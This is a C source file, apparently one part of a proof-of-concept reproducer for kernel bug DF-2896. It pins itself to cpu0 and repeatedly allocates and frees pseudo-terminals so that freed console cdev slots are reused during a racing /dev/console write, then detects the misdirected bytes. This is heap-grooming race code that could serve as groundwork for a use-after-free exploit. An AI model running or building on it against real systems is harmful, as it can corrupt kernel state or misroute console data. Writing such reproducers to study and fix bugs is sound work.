DF-2896 / holder.c
/* * DF-2896 holder/recycler + misdirection detector (UNPRIVILEGED uid). * * Pinning to cpu0 (arranged by the root harness via usched_set on our pid) * is a *scheduling aid only*: it makes the unprivileged alloc/free churn * share the per-cpu objcache magazine with the devfs thread that frees the * constty cdevs, so a freed slot is re-initialized quickly (its si_ops is * transiently NULL and its si_tty re-targeted) while a racing /dev/console * write still holds the old pointer. * * DETECTOR: every pty opened here is NEVER TIOCCONS'd, so no console data * may ever legitimately appear on its master. Finding the writer's fill * byte 'W' here proves the kernel dispatched a /dev/console write through * a stale cdev pointer that was recycled into an unrelated object. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define NPAIR 192 #define WBYTE 'W' struct slot { int m, s; char name[64]; }; static struct slot slots[NPAIR]; static unsigned long hits; int main(void) { int i, n, pin = 0; char buf[8192]; int cpu = 0; setvbuf(stdout, NULL, _IONBF, 0); if (syscall(481, 0, 1 /*USCHED_SET_CPU*/, &cpu, sizeof(cpu)) == 0) pin = 1; printf("holder: uid=%d pinned_cpu0=%d\n", getuid(), pin); for (;;) { n = 0; while (n < NPAIR) { int m = open("/dev/ptmx", O_RDWR); char *pn; struct slot *sl = &slots[n]; if (m < 0) { usleep(1000); continue; } if (grantpt(m) || unlockpt(m)) { close(m); continue; } pn = ptsname(m); if (!pn) { close(m); continue; } snprintf(sl->name, sizeof(sl->name), "%s", pn); sl->m = m; sl->s = open(sl->name, O_RDWR | O_NONBLOCK); if (sl->s < 0) { close(m); continue; } n++; } /* watch every master for misdirected console bytes */ for (i = 0; i < n; i++) { int r = read(slots[i].m, buf, sizeof(buf)); if (r > 0) { int j, w = 0; for (j = 0; j < r; j++) if (buf[j] == WBYTE) w++; if (w) { hits += w; printf("HIT: %ld W-bytes on %s " "(never TIOCCONS'd)\n", hits, slots[i].name); } } } /* release this generation so slots cycle again */ for (i = 0; i < n; i++) { close(slots[i].s); close(slots[i].m); } } } |